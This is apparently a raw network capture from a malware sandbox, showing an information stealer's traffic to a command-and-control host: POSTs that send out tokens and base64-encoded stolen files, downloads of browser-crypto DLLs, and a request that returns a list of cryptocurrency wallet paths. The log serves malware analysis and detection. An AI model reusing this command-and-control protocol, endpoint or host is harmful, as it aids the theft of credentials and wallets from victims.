Oct 28, 2024 06:27:18.502360106 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:18.726871967 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 06:27:18.726871967 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 28, 2024 06:27:19.516395092 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:19.542743921 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="file"------BGCAAFHIEBKJKEBFIEHD--
Oct 28, 2024 06:27:20.324034929 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:20.829982996 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file"------JDHIEBFHCAKEHIDGHCBA--
Oct 28, 2024 06:27:21.607623100 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:21.859064102 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:22.143981934 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 28, 2024 06:27:22.144001961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Oct 28, 2024 06:27:22.144026041 CET	324	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Oct 28, 2024 06:27:22.144042015 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Oct 28, 2024 06:27:22.144058943 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Oct 28, 2024 06:27:22.144074917 CET	1236	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjW
Oct 28, 2024 06:27:22.144090891 CET	636	IN	Data Raw: 00 89 c6 8b 45 0c 05 00 ff ff ff 3d 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb Data Ascii: E=s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>f
Oct 28, 2024 06:27:22.144622087 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 28, 2024 06:27:22.144637108 CET	1236	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]
Oct 28, 2024 06:27:23.645550013 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:23.930463076 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 28, 2024 06:27:24.932171106 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:25.216780901 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 28, 2024 06:27:25.987848997 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:26.272455931 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 28, 2024 06:27:28.580339909 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:28.865041018 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 28, 2024 06:27:29.140736103 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:29.426866055 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 28, 2024 06:27:29.840856075 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 06:27:30.628777027 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:30.678407907 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="message"wallets------BAAAKJDAAFBAAKEBAAKF--
Oct 28, 2024 06:27:30.966212988 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 